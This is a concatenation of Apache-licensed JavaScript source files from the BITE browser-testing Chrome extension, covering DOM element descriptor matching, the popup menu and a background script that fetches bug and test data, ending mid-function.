elements that match the given xpath. * @private */ common.client.ElementDescriptor.prototype.getAllElementsByXpath_ = function( xpath) { var elements = []; try { var doc = goog.dom.getDocument(); var elems = null; var temp = null; elems = doc.evaluate(xpath, doc, null, XPathResult.ANY_TYPE, null); while (temp = elems.iterateNext()) { elements.push(temp); } return elements; } catch (e) { console.log('Failed to find elements through xpath ' + xpath); return []; } }; /** * Generates the descriptor of an element. * @param {Element} elem The element object. * @param {number} propagateTimes The number of ancestors to collect. * @param {boolean} opt_Optimized Whether use optimized alogrithm. * @return {string} An string of the descriptive info of an element. * @export */ common.client.ElementDescriptor.prototype.generateElementDescriptor = function(elem, propagateTimes, opt_Optimized) { var opt = true; if (opt_Optimized == false) { opt = false; } var descriptor = goog.json.serialize(this.generateElementDescriptor_( elem, propagateTimes, opt)); var printer = new goog.format.JsonPrettyPrinter(null); return printer.format(descriptor); }; /** * Generates an element descriptor including all necessary info. * @param {Node} elem The HTML element. * @param {number} propagateTimes The number of ancestors to collect. * @param {boolean} opt Whether to use optimized algorithm. * @return {Object} Element descriptor object. * @private */ common.client.ElementDescriptor.prototype.generateElementDescriptor_ = function(elem, propagateTimes, opt) { if (!elem) { return null; } var descriptor = {}; descriptor.tagName = elem.tagName; descriptor.elementText = this.fixStr(this.getText(elem), opt); this.addImplicitAttrs_(descriptor, /** @type {Element} */ (elem)); var attrs = elem.attributes; var attrsLen = 0; if (attrs) { attrsLen = attrs.length; } if (attrsLen) { descriptor.attributes = {}; } for (var i = 0; i < attrsLen; i++) { descriptor.attributes[attrs[i].name] = this.fixStr(attrs[i].value, opt); } descriptor.optimized = opt; if (elem.parentNode && propagateTimes) { descriptor.parentElem = this.generateElementDescriptor_( elem.parentNode, propagateTimes - 1, opt); } else { descriptor.parentElem = null; } return descriptor; }; /** * Adds implicit attributes of the given element to descriptor. * @param {Object} descriptor The descriptor object for the given element. * @param {Element} elem The HTML element. * @private */ common.client.ElementDescriptor.prototype.addImplicitAttrs_ = function(descriptor, elem) { if (!elem || !elem['tagName']) { return; } var tagNameUpper = elem['tagName'].toUpperCase(); switch (tagNameUpper) { case goog.dom.TagName.SELECT: descriptor['selectedIndex'] = elem.selectedIndex + ''; break; case goog.dom.TagName.INPUT: if (elem['type']) { var typeLower = elem['type'].toLowerCase(); if (typeLower == 'radio' || typeLower == 'checkbox') { descriptor['checked'] = elem.checked + ''; } else if (typeLower == 'button' || typeLower == 'submit') { descriptor['disabled'] = elem.disabled + ''; } } break; case goog.dom.TagName.BUTTON: descriptor['disabled'] = elem.disabled + ''; break; } }; /** * Adds implicit attributes score. * @param {Object} descriptor The descriptor object for the given element. * @param {Element} elem The element to be compared. * @return {number} The score. * @private */ common.client.ElementDescriptor.prototype.addImplicitAttrsScore_ = function(descriptor, elem) { var score = 0; if (descriptor['disabled']) { score += this.getFieldScore_(descriptor['disabled'], elem.disabled + ''); } if (descriptor['checked']) { score += this.getFieldScore_(descriptor['checked'], elem.checked + ''); } if (descriptor['selectedIndex']) { score += this.getFieldScore_(descriptor['selectedIndex'], elem.selectedIndex + ''); } return score; }; /** * Parses the element descriptor and gets the potential element(s). * @param {string} descriptorStr The descriptive info string of an element. * @param {boolean=} opt_all Whether returns all of the results. * @return {Object} Found element(s). * @export */ common.client.ElementDescriptor.prototype.parseElementDescriptor = function(descriptorStr, opt_all) { var document_ = document; var result = this.parseElementDescriptor_(descriptorStr, document_, opt_all); return result['elems'] ? result : {'elems': null, 'matchHtmls': 'Attribute validation failed.'}; }; /** * Parses an element descriptor string and returns all the found elements. * @param {string|Object} descriptorStrOrObj The descriptive info of an elem. * @param {Object} document_ The document object (could be from a frame). * @param {boolean=} opt_all Whether returns all of the results. * @return {Object.<Element|Array,string|Array>} * An element or a group of elements. * @private */ common.client.ElementDescriptor.prototype.parseElementDescriptor_ = function(descriptorStrOrObj, document_, opt_all) { var descriptor = {}; if (typeof(descriptorStrOrObj) == 'string') { descriptor = goog.json.parse(descriptorStrOrObj); } else { descriptor = descriptorStrOrObj; } var tag = descriptor['tagName']; if (typeof(tag) != 'string') { tag = tag['value']; } var elemsStart = document_.getElementsByTagName(tag); var desc = descriptor; var elems = elemsStart; var matchHtmls = []; var rtnObj = {}; var level = 0; while (elems.length >= 1 && desc) { rtnObj = this.parse_( elems, /** @type {Object} */ (desc), level, matchHtmls); elems = rtnObj['elems']; matchHtmls = rtnObj['matchHtmls']; if (desc['parentElem']) { desc = desc['parentElem']; } else { desc = null; } level += 1; } if (elems.length == 0) { return {'elems': null, 'matchHtmls': matchHtmls}; } if (opt_all) { return {'elems': elems, 'matchHtmls': matchHtmls}; } else { return {'elems': elems[0], 'matchHtmls': matchHtmls[0]}; } }; /** * Deals with the back compatibility issue. * @param {Object} descriptor The descriptor object. * @param {boolean} opt Whether is optimized. * @param {Element|Node} elem The element object. * @return {number} The score got from back compat. * @private */ common.client.ElementDescriptor.prototype.getBackCompat_ = function(descriptor, opt, elem) { var attrs = []; var newKeyWords = {'tagName': 1, 'elementText': 1, 'parentElem': 1, 'optimized': 1, 'attributes': 1}; var score = 0; var elemKey = ''; for (var key in descriptor) { if (key in newKeyWords) { continue; } elemKey = key; if (key == 'class_') { elemKey = 'class'; } var attr = this.getAttr_(elem, elemKey); if (attr) { if (descriptor[key] == this.fixStr(attr['value'], opt)) { score++; } } } return score; }; /** * Parses the element descriptor and return the possible elements. * @param {Array} elems An array of elements. * @param {Object} descriptor The descriptor object of an element. * @param {number} level The level of ancestor. * @param {Array} matchHtmls The matching htmls array. * @return {Object} An object of found elements. * @private */ common.client.ElementDescriptor.prototype.parse_ = function(elems, descriptor, level, matchHtmls) { var rtnArry = []; var rtnMatchInfoArry = []; var topScore = 0; for (var i = 0; i < elems.length; i++) { var elem = this.getAncestor_(elems[i], level); var matchInfoHtml = ''; if (!elem) { continue; } var scoreTotal = 0; scoreTotal += this.getFieldScore_(descriptor['tagName'], elem.tagName); matchInfoHtml += this.getColoredHtml_('<', 'green'); matchInfoHtml += this.getAttrHtml_(descriptor['tagName'], elem.tagName); var opt = descriptor['optimized']; scoreTotal += this.getFieldScore_(descriptor['elementText'], this.fixStr(this.getText(elem), opt)); scoreTotal += this.addImplicitAttrsScore_( descriptor, /** @type {Element} */ (elem)); var attrs = descriptor.attributes; for (var key in attrs) { var attr = elem.attributes.getNamedItem(key); scoreTotal += this.getFieldScore_( attrs[key], this.fixStr(attr ? attr.value : '', opt)); matchInfoHtml += this.getColoredHtml_(' ' + key + '="', 'green'); matchInfoHtml += this.getAttrHtml_(attrs[key], this.fixStr(attr ? attr.value : '', opt)); matchInfoHtml += this.getColoredHtml_('"', 'green'); } matchInfoHtml += this.getColoredHtml_('>', 'green'); if (!level) { matchInfoHtml += '<br>' + this.getAttrHtml_(descriptor['elementText'], this.fixStr(this.getText(elem), opt)); } if (!attrs) { var backCompatScore = this.getBackCompat_(descriptor, opt, elem); scoreTotal += backCompatScore; } if (scoreTotal < 0) { continue; } if (rtnArry[0]) { if (topScore < scoreTotal) { rtnArry = []; rtnMatchInfoArry = []; topScore = scoreTotal; } else if (topScore > scoreTotal) { continue; } } else { topScore = scoreTotal; } rtnArry.push(elems[i]); if (matchHtmls && matchHtmls.length > i) { matchInfoHtml += '<br>' + matchHtmls[i]; } rtnMatchInfoArry.push(matchInfoHtml); } return {'elems': rtnArry, 'matchHtmls': rtnMatchInfoArry}; }; /** * Gets an attribute of an Element. * @param {Object} elem The HTML object. * @param {string} attrName The attribute name. * @return {string} The specified attribute of the element. * @private */ common.client.ElementDescriptor.prototype.getAttr_ = function( elem, attrName) { return elem.attributes.getNamedItem(attrName); }; /** * Trims a given string. * @param {string} stringToTrim The string to be trimmed. * @return {string} The trimmed string. * @export */ common.client.ElementDescriptor.prototype.trim = function(stringToTrim) { return stringToTrim.replace(/^\s+|\s+$/g, ''); }; /** * Checks if the given string has unicode in it. * @param {string} str The string to be checked. * @return {boolean} Whether the string contains unicode. * @export */ common.client.ElementDescriptor.prototype.isUnicode = function(str) { for (var i = 0; i < str.length; i++) { if (str[i].charCodeAt() > 127) { return true; } } return false; }; /** * Gets text from an element. * @param {Object} node The HTML element. * @return {string} The displayed text. * @export */ common.client.ElementDescriptor.prototype.getText = function(node) { var rtnText = ''; // TODO(phu): Examine the use of test versions to determine how to process // text nodes. Removed solution examined the browser version, but should // use test related information. rtnText = this.trim(goog.dom.getTextContent(/** @type {Node} */ (node))); return rtnText; }; /** * Optimizes the way of collecting text. * @param {string} text The given text. * @param {boolean} opt Whether to use optimized algorithm. * @return {string} The optimized text. * @export */ common.client.ElementDescriptor.prototype.fixStr = function(text, opt) { var isAsciiStr = true; try { isAsciiStr = !this.isUnicode(text); } catch (e) { console.log('Error occured in fixStr: ' + e.message); } if (opt && isAsciiStr) { return this.getSimpleAscii(text); } else { return text; } }; /** * Replaces the original string with a pure Ascii simple one. * @param {string} text The given text. * @return {string} A pure Ascii text. * @export */ common.client.ElementDescriptor.prototype.getSimpleAscii = function(text) { var maxLen = 20; //experiment with length text = text.replace(/\W+/g, ''); var textStarts = text.length > maxLen ? text.length - maxLen : 0; return text.substring(textStarts); }; /** * Gets the value and score of an element. * @param {string|Object} value The value string or object. * @return {Array} Value and score array. * @private */ common.client.ElementDescriptor.prototype.getValueAndScore_ = function(value) { var rtnValue = ''; var rtnScore = 1; if (typeof(value) == 'string') { rtnValue = value; } else { rtnValue = value['value']; if (value['score']) { rtnScore = value['score']; } if (value['show'] == 'ignore') { rtnValue = ''; rtnScore = 0; } } return [rtnValue, rtnScore]; }; /** * Gets the score. * @param {string | Object} value The value string or object. * @param {string} domValue The dom element's value string. * @return {number} The corresponding score. * @private */ common.client.ElementDescriptor.prototype.getFieldScore_ = function(value, domValue) { if (value) { var result = this.getValueAndScore_(value); var backCompatValue = this.getSimpleAscii(domValue); if (result[0] == domValue || result[0] == backCompatValue) { return result[1]; } else { if (value['show'] && value['show'] == 'must') { return -999; //As long as this could make the total score negative. } return 0; } } return 0; }; /** * Gets the colored attribute. * @param {string | Object} value The value string or object. * @param {string} domValue The dom element's value string. * @return {string} The corresponding html. * @private */ common.client.ElementDescriptor.prototype.getAttrHtml_ = function(value, domValue) { if (value) { var result = this.getValueAndScore_(value); if (result[0] == domValue) { return this.getColoredHtml_(result[0], 'green'); } else { return this.getColoredHtml_(result[0], 'red') + this.getColoredHtml_(' (' + domValue + ')', 'black'); } } return ''; }; /** * Gets the ancestor at a given level. * @param {Element} elem The element. * @param {number} level The level of an ancestor. * @return {Element|Node} The ancestor element. * @private */ common.client.ElementDescriptor.prototype.getAncestor_ = function(elem, level) { if (!elem) { return null; } var rtnElem = elem; for (var i = 0; i < level; i++) { rtnElem = rtnElem.parentNode; if (!rtnElem) { return null; } } return rtnElem; }; /** * Returns a colored html string. * @param {string} text The dom element's value string. * @param {string} color The color string. * @return {string} The colored html string. * @private */ common.client.ElementDescriptor.prototype.getColoredHtml_ = function(text, color) { return '<span style="color:' + color + '">' + text + '</span>'; }; /** * The element descriptor instance. * @export */ var elemDescriptor = new common.client.ElementDescriptor(); /** * Express function for parsing an element. * @param {string} descriptor The descriptive info object of an element. * @param {boolean=} opt_all Whether returns all of the results. * @return {Element} The found element. * @export */ function parseElementDescriptor(descriptor, opt_all) { if (typeof descriptor == 'string') { try { goog.json.parse(descriptor); } catch (e) { return null; } } var rtnObj = elemDescriptor.parseElementDescriptor(descriptor, opt_all); var rtn = rtnObj['elems']; var matchHtml = rtnObj['matchHtmls']; chrome.extension.sendRequest( {command: 'setLastMatchHtml', html: matchHtml}); return rtn; } /** * Instance of the ElementDescriptor class. * @type {common.client.ElementDescriptor} * @export */ common.client.ElementDescriptor.instance = new common.client.ElementDescriptor(); /** * Parses the command and make it runnable. * @param {Object} elemMap The element map. * @param {string} method The method of getting the element. * @return {Object} The element that was found and a log. * @export */ common.client.ElementDescriptor.getElement = function(elemMap, method) { // TODO(phu): Use all the data in elemMap like css selector to find the // best match. if (method == 'xpath') { var xpath = elemMap['xpaths'][0]; console.log('Uses xpath to find element: ' + xpath); return {'elem': common.client.ElementDescriptor.getElemBy(method, xpath), 'log': 'xPath: ' + elemMap['xpaths'][0]}; } return {'elem': parseElementDescriptor(elemMap['descriptor']), 'log': 'descriptor: ' + elemMap['descriptor']}; }; /** * @export */ common.client.ElementDescriptor.runnable = ''; /** * Parses the command and make it runnable. * @param {string} cmd The command string. * @return {string} The runnable puppet code. * @export */ common.client.ElementDescriptor.parseCommandToRunnable = function(cmd) { if (goog.string.startsWith(cmd, 'run(')) { var result = cmd.replace('run(', 'BiteRpfAction.'); return result.replace(', ', '('); } else { return 'BiteRpfAction.' + cmd; } }; /** * Parses the element descriptor and return the possible elements. * @param {string} description A string describing an element. * @return {?Element} The found element(s). * @export */ common.client.ElementDescriptor.parseElementDescriptor = function( description) { try { var result = parseElementDescriptor(description); if (typeof result == 'string') { return null; } else { return result; } } catch (error) { console.log('ERROR (common.client.ElementDescriptor.' + 'parseElementDescriptor): An exception was thrown for input ' + '- ' + description + '. Returning null.'); } }; /** * Generates the descriptor of an element. * @param {Element} elem The element object. * @return {string} A string of the descriptive info of an element. * @export */ common.client.ElementDescriptor.generateElementDescriptor = function(elem) { return common.client.ElementDescriptor.instance.generateElementDescriptor( elem, 0, true); }; /** * Generates the descriptor of an element, with specified number of ancestors. * @param {Element} elem The element object. * @param {number} ancestors The number of element ancestors to go up. * @return {string} A string of the descriptive info of an element. * @export */ common.client.ElementDescriptor.generateElementDescriptorNAncestors = function( elem, ancestors) { return common.client.ElementDescriptor.instance.generateElementDescriptor( elem, ancestors, true); }; /** * Generates the outerHTML of selected element. * @param {Element} elem The element object. * @return {string} A string of the outerHTML of an element. * @export */ common.client.ElementDescriptor.generateOuterHtml = function(elem) { if (!elem) { return ''; } var outerHtmlString = goog.dom.getOuterHtml(elem); outerHtmlString = goog.format.HtmlPrettyPrinter.format(outerHtmlString); return outerHtmlString; }; /** * Gets all of the attributes of the given element. * @param {Element} elem The element object. * @return {Array} An array of the attributes. * @export */ common.client.ElementDescriptor.getAttributeArray = function(elem) { if (!elem) { return []; } var attributes = []; var temp = {}; temp['name'] = 'text'; temp['value'] = goog.dom.getTextContent(/** @type {Node} */ (elem)); attributes.push(temp); var attrs = elem.attributes; var attrsLen = attrs ? attrs.length : 0; for (var i = 0; i < attrsLen; ++i) { temp = {}; temp['name'] = attrs[i].name; temp['value'] = attrs[i].value; attributes.push(temp); } return attributes; }; /** * Puts the "must" attribute/value based on the given object. * @param {string} key The attribute's name. * @param {string|Object} value The attribute's value. * @param {Object} result The result containing all the attribute name * and value pairs. * @param {Function=} opt_process The optional function to process the value. * @export */ common.client.ElementDescriptor.getAttrValue = function( key, value, result, opt_process) { if (!value) { return; } if (typeof(value) == 'object') { if (value['show'] && value['show'] == 'must') { var temp = value['value']; if (opt_process) { temp = opt_process(temp); } result[key] = temp; } } }; /** * Gets the "must" attributes/values as an object. * @param {string|Object} descriptor The descriptor string or object. * @param {Function=} opt_process The optional function to process the value. * @return {Object} An object of the attributes/values need to verify. * @export */ common.client.ElementDescriptor.getAttrsToVerify = function( descriptor, opt_process) { if (typeof(descriptor) == 'string') { descriptor = goog.json.parse(descriptor); } var result = {}; var specialAttrs = ['tagName', 'elementText', 'checked', 'disabled', 'selectedIndex']; for (var i = 0, len = specialAttrs.length; i < len; ++i) { common.client.ElementDescriptor.getAttrValue( specialAttrs[i], descriptor[specialAttrs[i]], result, opt_process); } var attributes = descriptor['attributes']; for (var name in attributes) { common.client.ElementDescriptor.getAttrValue( name, attributes[name], result, opt_process); } return result; };
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the popup JS which opens the console. * @author michaelwill@google.com (Michael Williamson) */ goog.provide('bite.Popup'); goog.require('Bite.Constants'); goog.require('bite.client.Templates.popup'); goog.require('bite.client.messages'); goog.require('bite.common.net.xhr.async'); goog.require('bite.options.constants'); goog.require('bite.options.data'); goog.require('goog.dom'); goog.require('goog.events'); goog.require('goog.json'); goog.require('goog.string'); goog.require('goog.ui.ToggleButton'); /** * Constructs a singleton popup instance. * Note that init() must be called on the instance * before it's usable. * @constructor * @export */ bite.Popup = function() { /** * Records the extension version. * @type {string} * @private */ this.browserVersion_ = 'NaN'; /** * This value will be true when the asynchronous initialization has finished. * @type {boolean} * @private */ this.initComplete_ = false; /** * The user id. * @type {string} * @private */ this.userId_ = ''; /** * The last error message recorded. This is only valid if initComplete_ is * false. * @type {string} * @private */ this.lastError_ = 'Not initialized.'; }; goog.addSingletonGetter(bite.Popup); /** * Css class used by each menu item. * @type {string} * @private */ bite.Popup.POPUP_ITEM_ROW_CLASS_ = 'menuitem-row'; /** * Each of these options is displayed in the * bite popup, and each should have a corresponding * entry in the onclick handler below. * @type {Object} * @private */ bite.Popup.CONSOLE_OPTIONS_ = { FLUX: { name: MSG_POPUP_OPTION_FLUX_NAME, img: '/imgs/popup/rpf_32.png', description: MSG_POPUP_OPTION_FLUX_DESC }, REPORT_BUG: { name: MSG_POPUP_OPTION_REPORT_BUG_NAME, img: '/imgs/popup/new_bug_32.png', description: MSG_POPUP_OPTION_REPORT_BUG_DESC }, BUGS: { name: MSG_POPUP_OPTION_BUGS_NAME, img: '/imgs/popup/bugs_32.png', description: MSG_POPUP_OPTION_BUGS_DESC }, TESTS: { name: MSG_POPUP_OPTION_TEST_NAME, img: '/imgs/popup/tests_32.png', description: MSG_POPUP_OPTION_TEST_DESC }, // TODO(ralphj): Make a dedicated close image. CLOSE: { name: MSG_POPUP_OPTION_CLOSE_NAME, img: '/imgs/bug-unknown-32.png', description: MSG_POPUP_OPTION_CLOSE_DESC }, SETTINGS: { name: MSG_POPUP_OPTION_SETTINGS_NAME, img: '/imgs/popup/help_32.png', description: MSG_POPUP_OPTION_SETTINGS_DESC } }; /** * Installs onclick event handlers on each menu item. * @private */ bite.Popup.prototype.installEventHandlers_ = function() { var menuElements = goog.dom.getElementsByTagNameAndClass( 'tr', bite.Popup.POPUP_ITEM_ROW_CLASS_); for (var i = 0; i < menuElements.length; i++) { var el = menuElements[i]; var optionName = el.title; goog.events.listen(el, goog.events.EventType.CLICK, goog.bind(this.onClickCallback_, this, optionName)); } }; /** * Returns the initialization status. * @return {boolean} Whether or not initialization has finished. * @export */ bite.Popup.prototype.getInitComplete = function() { return this.initComplete_; }; /** * Return the last recorded error message for this object. * @return {string} The last recorded error message or an empty string if there * is no valid error. * @export */ bite.Popup.prototype.getLastError = function() { return this.lastError_; }; /** * Returns the version of the currently installed extension. * @return {string} The version of the extension. * @export */ bite.Popup.prototype.getVersion = function() { return this.browserVersion_; }; /** * Initializes the popup instance by checking the login status * of the user and rendering the appropriate soy template. * @param {function()=} opt_initCallback An optional callback * that is invoked when initialization is finished. * @export */ bite.Popup.prototype.init = function(opt_initCallback) { var callback = opt_initCallback || goog.nullFunction; if (this.initComplete_) { callback(); return; } var body = goog.dom.getDocument().body; soy.renderElement(body, bite.client.Templates.popup.loading); this.initData_(callback); }; /** * Initializes data necessary for the functioning of this object. * @param {function()} callback The callback to invoke when initialization * is complete. * @private */ bite.Popup.prototype.initData_ = function(callback) { var url = chrome.extension.getURL('manifest.json'); bite.common.net.xhr.async.get(url, goog.bind(this.initDataComplete_, this, callback)); }; /** * Async callback that gathers data before the final rendering of the popup. * @param {function()} callback The callback to invoke when initialization * is complete. * @param {boolean} success Whether or not the request was successful. * @param {string} data The data retrieved from the request or an error string. * @private */ bite.Popup.prototype.initDataComplete_ = function(callback, success, data) { try { if (!success) { throw data; } var manifest = goog.json.parse(data); this.browserVersion_ = manifest['version']; } catch (error) { this.onFailure_(error, callback); return; } this.initLogin_(callback); }; /** * Performs the login initialization process. * @param {function()} callback The callback to invoke when initialization * is complete. * @private */ bite.Popup.prototype.initLogin_ = function(callback) { chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.GET_CURRENT_USER}, goog.bind(this.initLoginComplete_, this, callback)); }; /** * Async callback used when the user login status request has finished. * @param {function()} callback The callback to invoke when initialization * is complete. * @param {{success: boolean, username: string, url: string}} responseObj * An object that contains the login * or logout url and optionally the username of the user. * @private */ bite.Popup.prototype.initLoginComplete_ = function(callback, responseObj) { if (!responseObj['success']) { this.onFailure_('Error checking login status.', callback); return; } // Flatten the object into an array. var consoleOptions = []; // Alias for bite.options.data namespace var data = bite.options.data; for (var key in bite.Popup.CONSOLE_OPTIONS_) { var display = false; switch (key) { case 'BUGS': if (data.get(bite.options.constants.Id.FEATURES_BUGS) == 'true') { display = true; } break; case 'FLUX': if (data.get(bite.options.constants.Id.FEATURES_RPF) == 'true') { display = true; } break; case 'TESTS': if (data.get(bite.options.constants.Id.FEATURES_TESTS) == 'true') { display = true; } break; case 'REPORT_BUG': if (data.get(bite.options.constants.Id.FEATURES_REPORT) == 'true') { display = true; } break; case 'CLOSE': if (data.get(bite.options.constants.Id.FEATURES_CLOSE) == 'true') { display = true; } break; default: display = true; } if (display) { consoleOptions.push(bite.Popup.CONSOLE_OPTIONS_[key]); } } var body = goog.dom.getDocument().body; soy.renderElement(body, bite.client.Templates.popup.all, { version: this.getVersion(), username: responseObj['username'], consoleOptions: consoleOptions, url: responseObj['url'] }); this.installEventHandlers_(); this.initComplete_ = true; this.userId_ = responseObj['username']; callback(); }; /** * A callback used when the popup menu is clicked on. * @param {string} optionName The name of the option that was clicked on. * @private */ bite.Popup.prototype.onClickCallback_ = function(optionName) { switch (optionName) { case bite.Popup.CONSOLE_OPTIONS_.REPORT_BUG.name: chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.START_NEW_BUG}); break; case bite.Popup.CONSOLE_OPTIONS_.BUGS.name: chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.TOGGLE_BUGS}); break; case bite.Popup.CONSOLE_OPTIONS_.TESTS.name: chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.TOGGLE_TESTS}); break; case bite.Popup.CONSOLE_OPTIONS_.CLOSE.name: chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.HIDE_ALL_CONSOLES}); break; case bite.Popup.CONSOLE_OPTIONS_.FLUX.name: chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.CREATE_RPF_WINDOW, 'userId': this.userId_}); break; case bite.Popup.CONSOLE_OPTIONS_.SETTINGS.name: chrome.tabs.create({'url': Bite.Constants.getOptionsPageUrl()}); break; default: // TODO (jasonstredwick): Examine throw as I suspect that this callback // is only invoked from DOM Element interaction which means that // catching this exception is outside of BITE's ability as it should be // in the global scope. throw Error('Not a valid popup option: ' + optionName); } goog.global.close(); }; /** * Handles failure during initialization. * @param {string} error The error reported. * @param {function()} callback The callback to invoke when initialization is * complete, even failure. * @private */ bite.Popup.prototype.onFailure_ = function(error, callback) { this.lastError_ = error; var server = bite.options.data.get(bite.options.constants.Id.SERVER_CHANNEL); var body = goog.dom.getDocument().body; soy.renderElement( body, bite.client.Templates.popup.error, {'message': CALL_MSG_POPUP_LOGIN_ERROR(server)}); callback(); };
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Background script containing code to handle tasks * invoked elsewhere in the extension code. * * @author alexto@google.com (Alexis O. Torres) * @author phu@google.com (Po Hu) */ goog.provide('bite.client.Background'); goog.require('Bite.Constants'); goog.require('bite.LoginManager'); goog.require('bite.client.BugTemplate'); goog.require('bite.client.TemplateManager'); goog.require('bite.common.net.xhr.async'); goog.require('bite.options.constants'); goog.require('bite.options.data'); goog.require('bugs.api'); goog.require('goog.Timer'); goog.require('goog.Uri'); goog.require('goog.json'); goog.require('goog.userAgent'); goog.require('rpf.MiscHelper'); goog.require('rpf.Rpf'); /** * The Background Class is a singleton that manages all of BITE's background * operations and data. * @constructor * @export */ bite.client.Background = function() { /** * @type {string} * @private */ this.currentUser_ = ''; /** * @type {bite.LoginManager} * @private */ this.loginManager_ = bite.LoginManager.getInstance(); /** * The template manager controls loading Bug Templates from the server. * It will load templates directly from the server upon the first request, * then cache those values. * @type {bite.client.TemplateManager} * @private */ this.templateManager_ = bite.client.TemplateManager.getInstance(); /** * @type {rpf.Rpf} * @private */ this.rpf_ = rpf.Rpf.getInstance(); // If this is the first time a user opens BITE, log an event. var firstRun = ( goog.global.localStorage.getItem(bite.client.Background.PREVIOUS_USE_KEY) != 'true'); if (firstRun) { // Analytics may not be loaded, so delay the logging until after the // next batch of browser event processing. goog.Timer.callOnce(goog.partial(bite.client.Background.logEvent, 'Background', 'FirstUse', ''), 0); goog.global.localStorage.setItem(bite.client.Background.PREVIOUS_USE_KEY, 'true'); } }; goog.addSingletonGetter(bite.client.Background); /** * Key used to keep track of first time use of BITE. The value of this key in * localStorage will be set to 'true' once the application is loaded for the * first time. * @type {string} */ bite.client.Background.PREVIOUS_USE_KEY = 'bite-client-background-previous-use'; /** * URL path for the "get test assigned to me" API. * @type {string} * @private */ bite.client.Background.prototype.fetchTestsApiPath_ = '/get_my_compat_test'; /** * The API path for submitting a test result. * @type {string} * @private */ bite.client.Background.prototype.submitTestResultApiPath_ = '/compat/test'; /** * Enum of events handled by the Background script. * @enum {string} * @export */ bite.client.Background.FetchEventType = { FETCH_BEGIN: 'fetchbegin', FETCH_END: 'fetchend' }; /** * Returns the new script url. * @param {string} project The project name. * @param {string} script The script name. * @private */ bite.client.Background.prototype.getNewScriptUrl_ = function(project, script) { var server = bite.options.data.get(bite.options.constants.Id.SERVER_CHANNEL); var url = new goog.Uri(server); url.setPath('automateRpf'); url.setParameterValue('projectName', project); url.setParameterValue('scriptName', script); url.setParameterValue('location', 'web'); return url.toString(); }; /** * Gets tests for a given web page. * @param {Tab} tab Tab requesting the tests list. * @param {function(!*): void} callback Function to call with the list of tests. * @private */ bite.client.Background.prototype.fetchTestData_ = function(tab, callback) { var server = bite.options.data.get(bite.options.constants.Id.SERVER_CHANNEL); var testUrl = goog.Uri.parse(server).setPath( this.fetchTestsApiPath_).toString(); bite.common.net.xhr.async.get(testUrl, goog.bind(this.fetchTestsDataCallback_, this, callback)); }; /** * Handle the callback to fetch the tests request. * @param {function({test: ?Object, user: ?string})} callback * Callback function. * @param {boolean} success Whether or not the request was successful. * @param {string} data The data received from the request or an error string. * @private */ bite.client.Background.prototype.fetchTestsDataCallback_ = function(callback, success, data) { var test = null; var user = null; if (success) { var compatTesting = goog.json.parse(data); test = compatTesting['test']; user = compatTesting['user']; this.currentUser_ = user; } else { console.log('Failed to fetch tests: ' + data); } callback({'test': test, 'user': user}); }; /** * Gets bugs for a given webpage. * @param {Tab} tab Tab requesting the bugs list. * @param {function({bugs: Object, filters: Object})} callback * The callback fired with the set of bugs retrieved by url and bug * filters. * @private */ bite.client.Background.prototype.fetchBugsData_ = function(tab, callback) { this.updateBadge_( tab, {'action': bite.client.Background.FetchEventType.FETCH_BEGIN}); bugs.api.urls([tab.url], goog.bind(this.fetchBugsDataCallback_, this, tab, callback)); }; /** * Handles the response from the server to fetch bugs data. * @param {Tab} tab Tab requesting the bugs list. * @param {function({bugs: Object, filters: Object})} callback * The callback fired with the set of bugs retrieved by url and bug * filters. * @param {!{success: boolean, error: string, * bugMap: bugs.type.UrlBugMap}} result The results of the request. * @private */ bite.client.Background.prototype.fetchBugsDataCallback_ = function(tab, callback, result) { if (!result.success) { console.error('Failed to retrieve bugs for url; ' + result.error); return; } /** * Bugs is an array of arrays in the format: * [[urlPart, [bugs]], [urlPart, [bugs]]] * Where URL part is either the full URL, Hostname + Path, or Hostname, * of the target URL, and bugs is a list of bugs associated with the * given urlPart. For example: * [["www.google.com", * [{"status": "duplicate", "project": "chromium",..}, ...]]] */ var bugs = []; var urlBugMap = result.bugMap['mappings']; var totalBugs = 0; // Translate the urlBugMap into the bugs structure expected by the rest of // the extension. // TODO (jason.stredwick): Remvoe translation and update client to use new // url to bug mapping. for (var i = 0; i < urlBugMap.length; ++i) { var url = urlBugMap[i]['url']; var bugData = urlBugMap[i]['bugs']; // In order to count the number of bugs returned; for each result in the // format [urlPart, [bugs]] we need to agregate the bugs count. totalBugs += bugData.length; // Create entry in translate bug structure. bugs.push([url, bugData]); } this.updateBadge_( tab, {'action': bite.client.Background.FetchEventType.FETCH_END, 'count': totalBugs}); callback({'filters': bite.options.data.getCurrentConfiguration(), 'bugs': bugs}); }; /** * Updates the extension's badge. * @param {Tab} tab Tab requesting the bugs list. * @param {Object} request Object data sent in the request. * @private */ bite.client.Background.prototype.updateBadge_ = function(tab, request) { var text = null; switch (request['action']) { case bite.client.Background.FetchEventType.FETCH_BEGIN: text = '...'; break; case bite.client.Background.FetchEventType.FETCH_END: var count = request['count']; text = count.toString(); break; default: throw new Error('The specified action is not valid: ' + request['action']); } chrome.browserAction.setBadgeText({'text': text, 'tabId': tab.id}); }; /** * @return {rpf.Rpf} The RPF object. * @export */ bite.client.Background.prototype.getRpfObj = function() { return this.rpf_; }; /** * Sets a new RPF object. * @param {rpf.Rpf} rpfObj The new RPF obj. * @export */ bite.client.Background.prototype.setRpfObj = function(rpfObj) { this.rpf_ = rpfObj; 